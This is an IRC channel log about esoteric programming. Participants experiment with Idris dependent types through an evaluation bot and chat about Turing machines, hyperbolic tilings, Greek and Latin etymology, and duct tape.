07:22:28 <Sgeo_> So the type of Type is Type 1, the type of Type 1 is Type 2... but Type is also a Type 2, and small types are also Type 2s, and Type 3s, and Type 4s
07:22:40 <Sgeo_> And somehow this lets Idris hide the entire hierarchy from the user
07:23:12 <Sgeo_> So I guess Type becomes whatever Type in the hierarchy is needed in context
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07:24:39 <Bike> > the (Type 17) Type
07:24:39 <idris-ircslave> (input):1:11:Type does not have a function type (Type)
07:24:40 <lambdabot> Not in scope: `the'Not in scope: data constructor `Type'Not in scope: data c...
07:24:48 <Bike> well what's the point then!!
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07:28:12 <Sgeo_> You can't actually write Type 1
07:28:28 <Sgeo_> The only place it's ever visible, as far as I understand, is
07:28:32 <lambdabot> <hint>:1:1: parse error on input `:'
07:28:49 <Bike> well what if i want to talk about specifically the type of Int or w/e
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07:30:23 <Sgeo_> Good question. Not sure you can
07:31:26 <lambdabot> <hint>:1:1: parse error on input `:'
07:36:04 <Sgeo_> trackpad acting up
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09:04:15 <FireFly> up to the next tabstop, as defined by tabs(1)
09:04:23 <FireFly> defaults to every eighth column
09:04:35 <FireFly> if by console mode you mean in a terminal emulator
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09:24:16 <Jafet> What about apathy mode
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11:11:38 <Melvar> Sgeo_, Bike: Use ( as a prefix in here so it doesn’t clash with lambdabot.
11:13:02 <Jafet> “In September 1943, Iran declared war on Germany, thus qualifying for membership in the United Nations.”
11:15:00 <Melvar> Sgeo_, Bike: The way the Type hierarchy works is that it builds up a digraph of universe ordering, and checks at the end that it’s consistent (i.e. cycle-free), IIUC.
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13:00:45 <quintopia> help my googlebubble thinks i want hockey scores
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13:04:23 <oerjan> quintopia: i'm sorry you're on thin ice there
13:05:57 <oerjan> managed to edit haskellwiki this time. turns out their fancy layout doesn't work with a non-full-screen browser.
13:06:18 <oerjan> since when do i have a frying pan
13:07:06 <Melvar> Fullscreen? Not just requiring a certain window size?
13:07:07 <oerjan> as in, the edit form got hid under some of the other stuff until i maximized
13:07:54 <oerjan> Melvar: well it doesn't work with my _usual_ window size, which is a little less than full screen because i like to be able to glimpse what's happening in irc.
13:08:20 * Melvar has two monitors for that purpose.
13:09:17 <oerjan> well this is a laptop, on my lap.
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13:09:37 <oerjan> i don't think you usually have a two-monitor laptop setup.
13:10:23 <oerjan> (technically it cannot be a laptop because the manual warns against burns if you put it on your lap. hasn't been a problem though, it's cooler than my previous one.)
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13:12:00 <elliott_> I thought infertility was the usual risk.
13:12:18 <oerjan> oh. well i have no plans to breed.
13:12:35 <Melvar> I’m pretty sure that’s just temporary though.
13:12:40 <oerjan> (i actively dislike babies anyway)
13:12:52 <Jafet> http://mashable.com/category/dual-screen-laptop
13:13:10 <oerjan> Melvar: i'm 43, how long is temporary?
13:13:33 <oerjan> oh you mean the infertility.
13:13:53 <Melvar> I meant the infertility, yes.
13:14:48 <Taneb> oerjan, you mean there's never going to be any wild oerjanlings?
13:15:05 <oerjan> Taneb: quite unlikely.
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13:32:50 <oerjan> fungot: be careful, someone is picking off bots again
13:32:50 <fungot> oerjan: " and the creator of of yours, you would let the woman with years of combat, probably against a paladin" miko, i have my eye!
13:37:16 <Taneb> I ought to get dressed at some point
13:37:36 <oerjan> you know, _someone_ could have told Sgeo idris-ircslave now supports the ( prefix.
13:38:14 <oerjan> @tell Sgeo please use idris-ircslave's new ( prefix hth
13:38:34 <oerjan> @tell Sgeo_ please use idris-ircslave's new ( prefix hth
13:40:45 * oerjan barely resisted adding "OR DIE" in there.
13:41:10 <Taneb> Is there a nice way to compute the Thue-Morse sequence on a Turing machine
13:41:27 <Taneb> (I'm so glad this channel exists so I can ask questions like that)
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13:41:56 <oerjan> well depends what you mean, since turing machines technically have finite output if they ever halt
13:42:34 <oerjan> you could certainly manage to fill up the tape with it without halting.
13:43:01 <Taneb> oerjan, I would like to continuously write the Thue-Morse sequence to the tape
13:44:18 <oerjan> four cell values, call them 0,1,A,B
13:45:03 <oerjan> start by putting 0B on the tape, position yourself just after the B
13:46:07 <oerjan> (1) seek left to a 0 or 1. go one step right.
13:46:53 <oerjan> (2) turn the A or B that is there into 0 or 1, respectively. remember what it was. seek till end of tape.
13:47:25 <oerjan> (3A) put AB on end of tape, go to 1
13:47:37 <oerjan> (3B) put BA on end of tape, go to 1
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13:54:02 <oerjan> small adjustment, the "position yourself just after the B" could more efficiently be on the 0.
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14:58:29 <fizzie> oerjan: Do they sell two-monitor laptops for people with two heads?
14:58:50 <fizzie> Oh, I see Jafet already answered that.
14:59:46 <fizzie> Well, it doesn't exactly mention two-headed people.
14:59:55 <fizzie> But I'm sure it's implied.
15:00:16 <Jafet> I imagine those laptops are marketed beyond the very limited dicephalic demographic.
15:00:22 <oerjan> the top picture seems broken
15:02:02 <int-e> fizzie: the Beeblebrox market segment is a bit small, methinks.
15:02:07 <oerjan> i think google mustn't have quite the right picture of me, it's showing me an ad for farming equipment.
15:02:57 * int-e is late and redundant, as usual. *sigh*
15:03:16 <oerjan> int-e: well it's easy to be redundant when you have two heads
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16:42:53 <Bike> http://www.theguardian.com/technology/2014/mar/14/mtgox-knowingly-traded-non-existent-bitcoins-for-two-weeks-filing-shows ha ha
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18:38:24 <luserdroog> For the dual-screen laptop, it would be nice to reduce the width of the framing down the middle.
18:51:04 <kmc> Lenovo sold a W-series ThinkPad with a second smaller screen that pops out the side of the first one
18:51:22 <kmc> it also had a Wacom drawing tablet in the wrist rest, as well as a color calibration sensor for the main screen
18:57:23 <olsner> sounds nice, but slightly crazy
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22:14:18 <boily> `relcome von_cheam
22:14:37 <boily> Gregor: the gregorbots, they are dead.
22:17:00 <fungot> FireFly: it's the crown, lass, no sense being angry about it now, and he was in the army, too true, and v's still there now and you can.
22:17:50 <boily> FireFly: you're a lass?
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22:21:12 <boily> oerjan: he didn't answer while he was having instant surgery.
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22:26:23 <boily> oerjan: today, I read an old blog post showing how to implement monads in Java. it wasn't pretty.
22:30:33 <fizzie> boily: Was it http://logicaltypes.blogspot.fi/2011/09/monads-in-java.html ?
22:31:56 <fizzie> I think that was discussed either here or nearby.
22:32:21 <boily> are you implying that there are circumesöteric channels?
22:33:07 <fizzie> I can only find the "Monads in plain JavaScript" post by gwepping.
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22:41:57 <oerjan> pretty sure #haskell is a circumesöteric channel, in any case
22:44:34 <fizzie> The evidence for that is circumstantial.
22:45:06 <oerjan> that's just circumventing the facts
22:50:06 <olsner> aren't you guys just circumnavigating the topic now?
22:53:12 <olsner> hmm, throws Failure ... is that the Java-monad counterpart of fail?
22:59:22 <fizzie> I can't really be bothered to read through it all -- was the Java monad the one where you can't have "Just null", or am I thinking of something else?
23:09:12 <boily> (meanwhile, duck tape with penguins on it? → https://tw-projects.s3.amazonaws.com/twduckbrand/prod/images/products/penguin-duct-tape.jpg)
23:09:47 <boily> fizzie: I haven't read through it all, but I wouldn't be surprised. Java nulls are very thoroughly pernicious.
23:10:37 <quintopia> i went to buy plain old duct tape at walmart once and could only find spongebob, hello kitty, and bacon
23:10:54 <boily> nooooo! why didn't you choose the hello kitty one?
23:11:58 <boily> I like my duck tape gray. same thing with my coffee: black.
23:12:06 <boily> (and my bagels: poppyseed.)
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23:14:42 <Sgeo> > "please don't kill me oerjan"
23:15:48 * boily is all sparkly-anime-eyes
23:17:40 <boily> ~eval "please don't kill me either twh"
23:18:18 <Sgeo> @messages-public
23:18:22 <Sgeo> @messages-loud
23:18:22 <lambdabot> oerjan said 9h 40m 7s ago: please use idris-ircslave's new ( prefix hth
23:18:35 <Sgeo> ( Integer + Integer
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23:19:27 <Sgeo> > the Nat (-10)
23:19:28 <lambdabot> Not in scope: `the'Not in scope: data constructor `Nat'
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23:20:25 <quintopia> boily: i prefer black heavy duty duct tape
23:21:14 <boily> quintopia: what kind of tape is that? the only two kind of black heavy duty tape I know about are «tape électrique» and that textured one you put on hockey sticks.
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23:21:31 <oerjan> ( the Int 99999999999999999999999999999999999
23:21:32 <boily> (yes. we call it «tape» in French.)
23:21:46 <quintopia> boily: it's like duct tape, but black rather than silver, and thicker and tougher and harder to tear
23:21:55 <oerjan> boily: we call it "teip" in norwegian hth
23:22:13 <Sgeo> Wonder if this could be used to prove 0=1
23:22:25 <boily> quintopia: hmm... my curiosity is titillated.
23:22:37 <boily> oerjan: makes sense.
23:22:42 <Sgeo> Maybe not, once you have a Nat you always have something 0 or greater
23:22:46 <oerjan> Sgeo: you realize that this is just how subtraction is defined on Nats, no?
23:22:55 <Sgeo> What you do before it may be irrelev... o.O
23:22:58 <quintopia> Sgeo: uh...no. in practice, it's illegal to do 2-3 in the naturals
23:23:01 <Sgeo> I thought Idris was in the wrong
23:23:20 <boily> > log 3136633892082024447 / log 2
23:23:31 <elliott_> Sgeo: no because the proof would rely on the definition of -
23:23:51 <boily> ~duck 3136633892082024447
23:25:03 <quintopia> boily: http://m.shoplet.com/Duck-Heavy-Duty-Duct-Tape/DUCCD3BLACK/
23:25:49 <oerjan> @run 99999999999999999999999999999999999 :: Int64
23:26:23 <Sgeo> I can't write a useful {n : Nat} -> Vect n a -> Nat, can I?
23:26:54 <Sgeo> Or.. something like that, to determine the size of a Vect whose size is unknown at compile-time?
23:28:43 <boily> quintopia: the link, it doesn't work.
23:29:08 <Sgeo> I assume that doing that (wanting the size that's known only at runtime) is why dependent pairs exist?
23:29:17 <quintopia> boily: i cut a bunch of stuff off the end of it. try cutting more stuff off
23:29:40 <Sgeo> ( the (Vect n a) [1,2,3]
23:29:51 <Sgeo> ( the (Vect _ _) [1,2,3]
23:30:11 <oerjan> ( the Integer 99999999999999999999999999999999999
23:30:24 <Sgeo> ( the (_ ** (Vect _ _)) [1,2,3]
23:30:37 <Sgeo> ( the (_ ** (Vect _ _)) (_ ** [1,2,3])
23:30:52 <Sgeo> ( the (n ** (Vect n _)) (_ ** [1,2,3])
23:30:52 <idris-ircslave> Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
23:31:13 <Sgeo> ( the (n ** (Vect n _)) (_ ** with Vect [1,2,3])
23:31:45 <boily> quintopia: it still doesn't work. I am saddened :(
23:31:50 <Sgeo> ( the (n ** Vect n String) (_ ** ["1", "2", "3"])
23:33:35 <Sgeo> oerjan: (t ** t)s are useless, right? Or are they not useless somehow
23:34:02 <oerjan> how do you find the first element of a **
23:34:17 <FreeFull> Sgeo: A value whose type is dependent on itself?
23:34:54 <lambdabot> Couldn't match expected type `(a0, b0)' with actual type `[t0]'
23:35:08 <lambdabot> No instance for (GHC.Show.Show a0)
23:35:09 <lambdabot> arising from a use of `M707592794521593570827224.show_M7075927945215935708...
23:35:09 <lambdabot> The type variable `a0' is ambiguous
23:35:09 <lambdabot> Possible fix: add a type signature that fixes these type variable(s)
23:35:09 <lambdabot> Note: there are several potential instances:
23:35:20 <oerjan> ( (\v -> let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3]
23:35:21 <FreeFull> Oh, lambdabot + idris-ircslave
23:35:33 <oerjan> oops how do lambdas work
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23:36:11 <oerjan> ( (\v => let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3]
23:36:14 <idris-ircslave> (input):1:58:Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
23:36:41 <oerjan> ( (\(v : Vect _ _) => let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3]
23:36:42 <idris-ircslave> (\(v : Vect _ _) => let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3]<>
23:37:01 <oerjan> ok i'm clearly not understanding this
23:37:24 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !
23:37:35 <oerjan> FreeFull: because that is finally now matchin hth
23:38:27 * Sgeo_ glares angrily at Quassel
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23:40:12 <Sgeo_> ( let data Foo = Bar | Baz in Foo
23:40:28 <Sgeo_> Isn't there a language that allows local data definitions?
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23:50:16 <Sgeo_> ( the (a ** b) (5 ** "Hi")
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23:53:23 <oerjan> Melvar: Sgeo_ killed yer bot hth
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23:54:42 <kmc> just because we don't feel flesh doesn't mean we don't fear death
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00:03:28 <Melvar> It timed out, and now it’s in a different net fragment.
00:04:20 <metasepia> General Melvar was the right hand man of Warlord Zsinj.
00:04:43 <Taneb> ~duck University of York
00:04:43 <metasepia> The University of York (informally York University, or simply York, abbreviated as Ebor.
00:05:25 <Taneb> Short for Eboracum, I presume
00:05:42 <Taneb> Roman name for York
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00:06:02 <metasepia> Eboracum was a fort and city in Roman Britain.
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00:07:00 <boily1> as the proverb goes, "Anas non satis accurate in hac nocte..."
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00:12:00 <oerjan> quousque tandem abutere, boily, latina nostra?
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00:13:09 <oerjan> are we being ddosed again
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00:14:55 <boily> Taneb: “How long, pray will you abuse boily, the Latin do with us?” ← uhm... wut?
00:15:10 <boily> oerjan: thausibly.
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00:15:33 <oerjan> i just changed a couple words in an _actual_ famous quote fwiw
00:15:58 <boily> Taneb: I can't read. I meant to answer oerjan.
00:16:07 <boily> (stupid term colours.)
00:16:23 <Taneb> Wouldn't be "our Latin"?
00:17:06 <boily> I don't do the Latin. you can get addicted to it!
00:17:11 <oerjan> https://en.wikipedia.org/wiki/Catiline_Orations#Oratio_in_Catilinam_Prima_in_Senatu_Habita
00:17:45 <oerjan> Taneb: i assume he tried google translate
00:18:22 <Taneb> Anyway, I have a nine o'clock train. Goodnight
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01:34:33 <Jafet> The risk is merely topical.
01:34:59 <oerjan> well but it's particularly high today (tomorrow for you americans)
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03:32:31 <Sgeo> 17:14:05 --- nick: idris-ircslave -> 23LAATE3Q
03:32:34 <Sgeo> What was that about?
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04:45:56 <Melvar> Sgeo: Bogosity due to netsplits and -joins.
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04:56:00 <Sgeo> ( the (a ** b) (5 ** "hi")
04:56:20 <Sgeo> ( the (a ** String) (5 ** "hi")
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05:06:36 <Sgeo> A dependent pair where the proof's type isn't actually dependent on the witness
05:07:48 <Sgeo> Almost wish you could do useful things with Types, make (t ** t) effectively be the typed of runtime-tagged values, practically dynamic typing
05:08:11 <Sgeo> ( the (t ** t) (Int ** 5)
05:11:10 <Sgeo> Totally useless but heterogeneous vector
05:12:25 <Sgeo> > the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), ((a -> a) ** id)]
05:12:27 <lambdabot> Not in scope: `the'Not in scope: data constructor `Vect'Not in scope: data c...
05:12:27 <lambdabot> `In' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted),
05:12:27 <lambdabot> `InR' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted)Not in scope: d...
05:12:51 <Sgeo> ( the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), (({a : Type} -> a -> a) ** id)]
05:12:53 <idris-ircslave> the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), (({a : Type} -> a ->>
05:13:15 <Sgeo> ( the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), (((a : Type) -> a -> a) ** the)]
05:13:22 <idris-ircslave> [(Int ** 5), (String ** "Hello"), ((a124 : Type) -> a124 -> a124 ** the)] : Vect 3 (t ** t)
05:13:44 <copumpkin> Sgeo: I was mostly puzzled by the unconstrained a variable
05:14:10 <Sgeo> Implies implicit argument
05:14:19 <Sgeo> Although ** is syntax sugar
05:16:51 <copumpkin> [00:56:20] <idris-ircslave> (5 ** "hi") : (a ** String)
05:17:20 <lambdabot> parse error (possibly incorrect indentation or mismatched brackets)
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07:26:59 <Bike> was it, sgeo? or have you now violated your most cherished moral principles
07:29:32 <Sgeo> Hey, if Int can be a Type 1 and a Type 2 and a Type 3 and ... why shouldn't something lower down be able to participate?
07:30:35 <Bike> Int can be a Type 2?
07:31:43 <Sgeo> ( the (Vect 2 Type) [Int, Type]
07:32:09 <Sgeo> That Type in the type signature of that has to be Type 1
07:32:36 <Bike> this seems kind of dumb.
07:36:35 <shikhin> Um, silly question, but if you're on cell 0 in brainfuck, and you do '<', what's the expected behavior?
07:41:54 <Bike> i think it depends on implementation
07:42:25 <Bike> sometimes the tape goes infinitely left, sometimes you get an error, sometimes monkeys fly out your nose, that kinda thing?
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09:10:04 <Sgeo> Melvar: Should I assume effects will always be a no-go for idris-ircslave?
09:12:43 <Sgeo> Yay, I'm "Talkative" on StackOverflow
09:18:23 <fizzie> (I hope that at least requires a space after the paren.)
09:19:19 <Sgeo> ( the ((a : Type) -> a -> a) the
09:19:33 <idris-ircslave> Control.Category.. : Category cat => (cat b c) -> (cat a b) -> cat a c
09:20:04 <Sgeo> What's a simple dependently typed function that might fail with .
09:21:45 <Taneb> 9:15 is the worst time to wake up for an 8:55 train
09:22:20 <Sgeo> ( (the . id) Nat 5
09:22:47 <Sgeo> ( (id . the) Nat 5
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09:23:05 <idris-ircslave> Can't disambiguate name: Prelude.Basics.., Control.Category..
09:23:13 <Sgeo> ( :t (id Prelude.Basics.)
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09:23:19 <Sgeo> ( :t (id Prelude.Basics..)
09:23:26 <Sgeo> ( :t (id (Prelude.Basics..))
09:24:58 <fizzie> ))))))))))))))))))))))))))))))))))))))))))))))))))) calculated to balance things for this month, so far.
09:25:19 <Sgeo> ) 1 2 3 + 4 5 6
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09:28:58 <fizzie> Actually, based on my current set of logs starting from 2009-03, we actually need 19291 extra opening parens, and my "balancing" just made the total situation worse.
09:29:12 <fizzie> Wonder where all those closing parens come from; there hasn't been *that* much jconn use.
09:29:24 <olsner> how many come from fungot?
09:29:24 <fungot> olsner: " i want as much as i loathe how you've manipulated my friends and i are a bit, and if the good. or any room with. simple math dictates the futility of your effort, i have made, it will now go and i will give you my motives and they were not to your liking, would i be carrying our monthly" says that's what my dad, and my time that you are under the empire that has been so deeply disappoi--
09:31:51 <fizzie> olsner: ...actually it's almost all from ":)" and the like...
09:32:44 <olsner> time to start writing (:
09:34:34 <fizzie> Or just be :( all the time.
09:35:32 <Sgeo> 19291 palindromic parentheses
09:48:36 <oklopol> i guess that was answered.
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12:03:57 <Melvar> Sgeo, Taneb: It’s “Namespace.(*~)”, the pretty-printer is just still buggy on that bit.
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12:37:34 <FreeFull> idris-ircslave should be configured to not accept > outside of #idris
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12:45:54 <Melvar> It doesn’t have any configuration. At all.
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13:32:08 <ion> TIL Nethack, Dungeon Crawl and others are based on octagonal tiles in a hyperbolic space. https://github.com/mhwombat/grid/wiki/Octagonal-tiles
13:33:57 <elliott> fizzie: I sort of think the wiki should have full specs when possible
13:37:14 <oerjan> ion: um i am quite suspicious that the connection graphs are the same.
13:37:49 <Jafet> ion: still can't beat the projective 3D goban
13:37:52 <oerjan> like because hyperbolic tilings usually grow exponentially by level, iirc
13:40:54 <Jafet> Well, they become the same if you merge a few to save space (Haskell is after all very bad with memory and we should help it out whenever possible)
13:43:19 <oerjan> yep, not the same as https://en.wikipedia.org/wiki/File:Uniform_tiling_83-t0.png
13:43:54 <ion> If you place a shape, such as a circle or a square, around (0,0) in https://raw.github.com/mhwombat/grid/master/userguide/images/UnboundedOctGrid.png and start growing the shape, the number of tiles its boundaries touch grows more or less like hyperbolic space, no?
13:44:14 <oerjan> while a cell has 8 neigbors by both countings, those 9 cells have 16 other neighbors in total with the diagonal stuff, but 32 in the hyperbolic one.
13:45:28 <oerjan> which i think is a "no" to your question.
13:46:33 <oerjan> basically, the moore neighborhood "disks" grow linearly sized boundaries, not exponential
13:48:51 <Jafet> http://programmers.stackexchange.com/questions/81624/how-do-computers-work
13:49:21 <oerjan> in fact that hyperbolic picture gets a little hard to read at the next step, but i _think_ it quadruples every new distance.
13:50:00 <oerjan> well logically it should, since it's uniform.
13:50:40 <Jafet> "Another distinctive property is the amount of space covered by the n-ball in hyperbolic n-space: it increases exponentially with respect to the radius of the ball, rather than polynomially."
13:51:16 <boily> Jafet: don't post that kind of link after a reading binge of creepy and horror stories. I am now scared post-shitless.
13:51:21 <oerjan> oh hm wait that's not true, some of them have only 3.
13:52:10 <Jafet> boily: http://stackoverflow.com/a/1732454
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13:52:54 <boily> Jafet: ah, a classic! I always keep a copy of that one on every machine I own :D
13:53:08 <boily> (reminds me to copy it to my newest acquisition)
13:53:24 <Jafet> The text near the end is actually an amazing test for font rendering
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13:55:18 <Jafet> oerjan: the border of the image is so tattered that it puts the accuracy of the diagram into question
13:57:05 <oerjan> but i think it's actually meant to be varying for two types of octagons at distance 2, according to whether they themselves bound 1 or 2 at distance 1.
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13:58:04 <boily> TIL: it's en:octagon, but fr:octogon.
13:58:08 <oerjan> the former have 3 exclusive neigbors and 2 more shared on each side, the latter have 2 and 2.
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14:05:05 <oerjan> hm apparently it's oktogon in norwegian.
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14:07:52 <oerjan> Du latin octogonos, lui-même issu du grec ancien ὀκτώ, oktô (« huit ») et γωνία, gônia (« angle »).
14:08:12 <oerjan> i suspect the latins latinized the vowel a bit.
14:08:42 <oerjan> First attested in 1656, from Latin octagonos, from Ancient Greek οκτάγωνος (oktágōnos, “eight-angled”), from ὀκτώ (octō, “eight”) + γωνία (gōnía, “angle”).
14:09:49 <oerjan> otoh it's latin "octave"
14:09:58 <oerjan> which is pure latin afaik.
14:10:45 <oerjan> (given that it's the common ordinal)
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14:14:09 <boily> but then latin has "octō".
14:14:12 <boily> Latin+ ūnus duo trēs quattuor quinque sex septem octō novem decem
14:14:14 <boily> Greek éna đío tría téssera pénde éksi eftá oxtó ennéa đéka
14:14:49 <oerjan> that's modern greek, the ancient pronunciation was different see table in https://en.wiktionary.org/wiki/%E1%BD%80%CE%BA%CF%84%CF%8E
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14:16:18 <oerjan> also http://www.youtube.com/watch?v=YCFXGanTx4A
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14:20:21 <boily> `relcome password2
14:20:35 <fungot> password2: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of esote ...
14:20:35 <boily> Gregor: IEUAAAAAAAAAAAAAAAAAAARGH! I SHALL MAPOLE YOU!
14:20:47 <oerjan> fungot: stop being so brief
14:20:47 <fungot> oerjan: of, for-- what does that do? the guild" only worked because belkar and i are a bit, and if my whole life was just leading to one big anticlimax?
14:21:12 <boily> oerjan: but that clip only has one two three four. what about the Pronunciation of Eight?
14:21:29 <boily> (btw, nice fungotrick.)
14:21:29 <fungot> boily: good, good. my partner and i were to be connected to anything especialy scandalous. tell him that i said this is where that king guy is as you say that, i thought that the surname came first in feudal deal there and get started, just put my " thank my lord only gave you the really bad, belkar
14:21:40 <oerjan> boily: i am pretty sure at one point in the movie she shouts "oktogonta!"
14:21:58 <oerjan> (when haggling over their rent)
14:22:35 <oerjan> or possibly oxtogonta.
14:23:33 <boily> I need to spend more time watching old movies.
14:24:43 <oerjan> well it's been a while since i saw it.
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14:28:34 <Melvar> oerjan: ‘x’ indicating what there?
14:28:39 <olsner> oh, so tesseract means four-something, finally makes sense
14:29:15 <oerjan> Melvar: the ipa sound, i guess?
14:30:09 <boily> I think a little mapoling is in order at this point.
14:30:11 <oerjan> `you're not really HackEgo are you. since when do you join from an unnamed ip.
14:30:39 * boily artfully, tesseratically swings his mapole over at Gracenotes
14:30:44 <Melvar> Okay. Just checking, ‘χ’ versus ‘ξ’ and stuff.
14:30:47 <boily> s/Gracenotes/Gregor/
14:31:13 <oerjan> Melvar: see the historical pronunciations at https://en.wiktionary.org/wiki/%E1%BD%80%CE%BA%CF%84%CF%8E
14:32:04 <Gregor> Yeah, I'm not really sure what's goin' on right now...
14:32:54 <Melvar> Ohhuh. /x/ from ‹κ›, hadn’t heard of that change.
14:33:10 <oerjan> Gregor: is that actually your bot or is it just someone else faking
14:33:14 <boily> password2: so, what brings you over to #esoteric by this fine Saturday morning?
14:33:57 <boily> fungot: with your sentience, can you achieve a HackEgo Impersonation?
14:33:57 <fungot> boily: i know, i was, uh, any reason... there's no one here but us? we just dueled, he had a name, in accordance with your orders when he instructed the orcs and told me
14:34:06 <oerjan> the repository looks ok
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14:35:10 <olsner> the problem seems to be that everything gives "No output." instead of e.g. an error
14:49:41 <lambdabot> Maybe you meant: rc reconnect remember repoint roll run v @ ? .
14:51:46 <password2> well boily , i have joined this channel a while ago
14:52:12 <boily> password2: ah? >_>'...
14:57:47 <olsner> what is that? it looks vaguely haskelly but not quite
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15:10:00 <idris-ircslave> Numbers strictly less than some bound. The name comes from "finite sets"
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15:14:22 <Melvar> (Thus, Fin n is inhabited by exactly n values.)
15:15:24 <boily> ah, so that's why (Fin 0) 1 doesn't work.
15:17:58 <Melvar> I hope the bit of error reflection that turns that into a more digestible message is merged soon.
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16:08:29 <jconn> oerjan: |syntax error
16:08:29 <jconn> oerjan: | :t zipWith
16:08:35 <idris-ircslave> Prelude.List.zipWith : (a -> b -> c) -> (l : List a) -> (r : List b) -> (length l = length r) -> List c
16:08:35 <idris-ircslave> Prelude.Stream.zipWith : (a -> b -> c) -> (Stream a) -> (Stream b) -> Stream c
16:08:35 <idris-ircslave> Prelude.Vect.zipWith : (a -> b -> c) -> (Vect n a) -> (Vect n b) -> Vect n c
16:10:07 <oerjan> ( let fib = 1 :: 1 :: zipWith (+) fib (tail fib) in fib
16:10:09 <idris-ircslave> Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
16:10:36 <oerjan> ( let fib = the (Stream Integer) (1 :: 1 :: zipWith (+) fib (tail fib)) in fib
16:10:51 <idris-ircslave> Data.Vect.Quantifiers.:: : (P x) -> (All P xs) -> All P (x :: xs)
16:10:51 <idris-ircslave> Prelude.Stream.:: : a -> (Lazy (Stream a)) -> Stream a
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16:11:48 <oerjan> ( let fib = the (Lazy (Stream Integer)) (1 :: 1 :: zipWith (+) fib (tail fib)) in fib
16:12:07 <oerjan> this type inference isn't very reliable.
16:12:37 <oerjan> ( let fib : Lazy (Stream Integer); fib = 1 :: 1 :: zipWith (+) fib (tail fib) in fib
16:12:38 <idris-ircslave> let fib : Lazy (Stream Integer); fib = 1 :: 1 :: zipWith (+) fib (tail fib) in>
16:13:04 <oerjan> ...you cannot use : in let?
16:14:33 <oerjan> ( let fib = Delay (1 :: 1 :: zipWith (+) fib (tail fib)) in fib
16:14:33 <idris-ircslave> Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
16:15:17 <oerjan> ( let fib = Delay (the (Stream Integer) (1 :: 1 :: zipWith (+) fib (tail fib))) in fib
16:16:15 <oerjan> ( let fib = Delay (1 :: 1 :: Prelude.Stream.zipWith (+) fib (tail fib))) in fib
16:16:31 <oerjan> ( let fib = Delay (1 :: 1 :: Prelude.Stream.zipWith (+) fib (tail fib)) in fib
16:18:22 <oerjan> ( let fib = Delay (1 Prelude.Stream.:: 1 Prelude.Stream.:: Prelude.Stream.zipWith (+) fib (tail fib)) in fib
16:18:47 <oerjan> ( let fib = Delay (1 Prelude.Stream.(::) 1 Prelude.Stream.(::) Prelude.Stream.zipWith (+) fib (tail fib)) in fib
16:18:47 <idris-ircslave> (input):1:20:Can't infer type for (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |) (::)
16:19:10 <oerjan> ( let fib = Delay ((the Integer 1) Prelude.Stream.(::) 1 Prelude.Stream.(::) Prelude.Stream.zipWith (+) fib (tail fib)) in fib
16:19:10 <idris-ircslave> (input):1:34:the Integer (fromInteger 1) does not have a function type (Integer)
16:19:39 <idris-ircslave> Prelude.List.tail : (l : List a) -> (isCons l = True) -> List a
16:20:40 <oerjan> ( let s = (the Integer 1) Prelude.Stream.(::) s in s
16:20:40 <idris-ircslave> (input):1:25:the Integer (fromInteger 1) does not have a function type (Integer)
16:20:54 <oerjan> ( let s = (the Integer 1) `Prelude.Stream.(::)` s in s
16:21:45 <oerjan> ( let s = (the Integer 1) `Prelude.Stream.(::)` (Delay s) in s
16:30:14 <Melvar> oerjan: What are you trying to do?
16:30:31 <oerjan> make a fibonacci stream
16:30:59 <oerjan> ( let rec s = (the Integer 1) `Prelude.Stream.(::)` (Delay s) in s
16:31:23 <Melvar> > let fibs = with Stream 0 :: 1 :: [| fibs + tail fibs |] in take 10 fibs
16:31:24 <lambdabot> <hint>:1:29: Illegal literal in type (use -XDataKinds to enable): 1
16:31:33 <Melvar> ( let fibs = with Stream 0 :: 1 :: [| fibs + tail fibs |] in take 10 fibs
16:32:07 <oerjan> so only functions can recurse?
16:32:36 <oerjan> or, recursion only at top level?
16:32:53 <Melvar> Only top-level and where-clause defns, I think.
16:33:58 <Melvar> “fibs : Stream Nat ; fibs = 0 :: 1 :: [| fibs + tail fibs |]” in a file should work.
16:34:16 <oerjan> ( let fibs = fibs' where fibs' = with Stream 0 :: 1 :: [| fibs' + tail fibs' |] in take 10 fibs
16:34:18 <Melvar> That’s also not recursion, but corecursion; in idris the difference is significant.
16:35:13 <oerjan> no where clauses in let definitions?
16:36:04 <oerjan> if you borrow haskell syntax, you should do it _properly_ :(
16:39:31 <Melvar> It started out whitespace-insensitive, it has grown more like Haskell syntax since …
16:40:33 <oerjan> cargo cult haskell syntax >:)
16:46:51 <Melvar> Mainly because whitespace-insensitive was easier to implement; it’s largely a research language.
16:55:01 <Jafet> U+237B NOT CHECK MARK appears before U+2713 CHECK MARK. ✓
16:55:22 <oerjan> i guess they forgot to check that
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17:05:56 <kmc> I hope they implemented whitespace as sugar for punctuation, like Haskell
17:14:53 <Melvar> kmc: Well, it’s not sugar as such; the parser checks indents rather than lexing and preprocessing indents into blocks before continuing (which IIRC is what is done for Haskell). But you can use whitespace and {;} alternatively, yes.
17:19:02 <kmc> is that difference observable in the language specification
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17:20:51 <Melvar> There is no specification. Just research papers that describe some of the foundations and features.
17:22:48 <kmc> sure, I mean hypothetically
